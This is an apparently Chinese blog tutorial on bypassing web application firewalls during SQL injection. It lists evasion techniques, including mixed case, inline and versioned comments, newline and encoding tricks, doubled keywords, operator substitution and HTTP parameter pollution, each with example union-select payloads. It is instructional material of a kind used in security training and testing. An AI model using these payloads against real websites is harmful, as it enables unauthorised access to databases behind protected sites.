系列2:8、sql注入之WAF绕过

1、WAF

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。

2、常见的有:

安全狗、宝塔、云盾

3、原理:

wAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。
在这里插入图片描述

4、绕过方法

(1)修改提交方式

如果安全狗对get提交方式有防护,则我们可以改用post提交方式。(前提是页面两个提交方式都可以用,比如request提交)

(2)关键词大小写绕过

有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过
举例:union select —> unIOn SeLEcT

(3)注释符内联注释绕过
方式一
id=1 union select 1,database/**/(),3

#若安全狗对database()这一关键字进行检测防护,则可以用此方法绕过。
# /**/为内联注释符

方式二
id=1 /*!union*/ select 1,database(),3
#若安全狗对联合查询union select这一对关键词进行检测防护,则可以用此方法
#/**/中,在!后边的的内容仍然会执行
(4)换行绕过
union/*//--/*//* !-—+/*%0aselect/* !1,2,3*/ --+

/*//--/*/:内联注释
/* !-—+/*%0aselect/* !1,2,3*/ --+ :虽然是注释,但!后的会执行,--+代表注释,则后边的语句被注释掉
%0a :换行符,将后边的语句进行换行,且换行后的语句不会被上一行注释影响
此时语句等价于:
union #
select 1,2,3 #
(5)编码绕过

针对wAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.
举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23

(6)双写绕过

部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。
举例:UNIunionON , SELselectECT anandd

(7)同义词替换

and=&&
or=ll
=(等于号)=<、>
空格不能使用=%09, %0a, %0b, %0c , %0d ,%20,%a0等
注:%0a是换行也可以替代空格

(8)HTTP参数污染

对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。
举例:?id=1&id=2&id=3

在这里插入图片描述


?id=1/*!&id=-1%20union%20select%201,2,3%23*/
#在php/apache环境下会获取最后一个参数,所以此时等价于:id=-1 union select 1,2,3
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值